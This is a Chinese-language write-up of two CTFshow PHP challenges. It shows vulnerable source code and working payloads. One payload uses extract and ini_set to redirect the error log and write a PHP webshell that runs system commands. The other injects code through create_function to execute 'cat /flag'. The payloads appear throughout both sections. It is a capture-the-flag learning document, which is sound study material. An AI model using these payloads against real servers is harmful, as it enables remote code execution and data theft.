CTFshow 限时活动 红包挑战7、红包挑战8

CTFshow红包挑战7

写不出来一点,还是等了官方wp之后才复现。

直接给了源码

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(2);

extract($_GET);
ini_set($name,$value);

system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

extract:从数组中将变量导入到当前的符号表

ini_set:为一个配置选项设置值(我们可以修改配置项)

报错等级是2。他限定只能使用ls 什么什么,而且filter自定义函数过滤了'\ 、`` $这四个字符。不好使用闭合来绕过对getshell`的限制。

既然ls 什么什么里面的什么什么可以控制,那就先遍历目录来看看吧。

复制代码
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

当前环境存在5个扩展,包含xdebug。分别是mysqli.so opcache.so pdo_mysql.so sodium.so xdebug.so


PHP版本是7.3.22


输入?1=/,服务端内部语句拼接为ls '/'。返回了根目录下所有文件。

flag应该就在flag文件中


开始思索题目。感觉关键代码是这三句:

php 复制代码
//不同寻常的报错等级
error_reporting(2);

//修改$name,$value
extract($_GET);

//开启某个配置项
ini_set($name,$value);

程序执行期间的ini_set不能disable_functions ,无法直接禁用str_replace函数


知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

思路:

通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。

php 复制代码
ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展

ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

尝试看看报错,%00确实能截断导致报错。

payload:

php 复制代码
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

可以发现,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。


此外,官方wp还给了一种造成报错的方法:

php 复制代码
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
复制代码
("%0C%08%00%00"^"`{ %2f")

即

EKc ^

URL编码后

EKc%20%02^

但是直接

复制代码
?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>

是无法造成报错的,这种造成报错方式有待细细研究。

CTFshow红包挑战8

考点:PHP create_function

扩展练习(相关题目):NSS [NISACTF 2022]level-up

源码直接给了。

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();
?>

create_function($name,base64_encode($value))();相当于创建匿名函数后直接执行。就像nmhs();这样。

其中,$name是参数,base64_encode($value)是要执行的代码段,但是这里base64编码过了,执行不了。

可以看作如下代码:(片段1)【一定要当作函数片段来看,而不是一行有参数的函数调用】

php 复制代码
nmhs($name){
	base64_encode($value)
}

那我就不要base64_encode($value),直接从$name开始构造。

先看看payload:

复制代码
?value=Jay17&name=){}phpinfo();/*

我们把payload中$name带入片段1。

php 复制代码
片段1:
nmhs($name){
	base64_encode($value)
}
php 复制代码
带入$name
nmhs(){}phpinfo();/*){
	base64_encode($value)
}
php 复制代码
整理一下
nmhs(){
    
}phpinfo();
/*){
	base64_encode($value)
}

最终payload:

复制代码
?value=Jay17&name=){}system("cat /flag");/*
相关推荐
x-cmd17 分钟前
[250331] Paozhu 发布 1.9.0:C++ Web 框架,比肩脚本语言 | DeaDBeeF 播放器发布 1.10.0
android·linux·开发语言·c++·web·音乐播放器·脚本语言
virelin_Y.lin28 分钟前
系统与网络安全------Windows系统安全(1)
windows·安全·web安全·系统安全
zhu12893035561 小时前
网络安全基础与防护策略
网络·安全·web安全
jingshaoyou2 小时前
Strongswan linked_list_t链表 注释可独立运行测试
数据结构·链表·网络安全·list
小爬虫程序猿3 小时前
利用 PHP 爬虫按关键字搜索淘宝商品
开发语言·爬虫·php
小爬虫程序猿3 小时前
淘宝商品信息如何存储到数据库?
数据库·爬虫·php
tangweiguo030519873 小时前
Android BottomNavigationView 完全自定义指南:图标、文字颜色与选中状态
android
鹅肝手握高V五色4 小时前
Wireshark入门教程:如何抓取和过滤网络数据包
websocket·网络协议·tcp/ip·http·网络安全·https·udp
遥不可及zzz4 小时前
Android 应用程序包的 adb 命令
android·adb
无知的前端5 小时前
Flutter 一文精通Isolate,使用场景以及示例
android·flutter·性能优化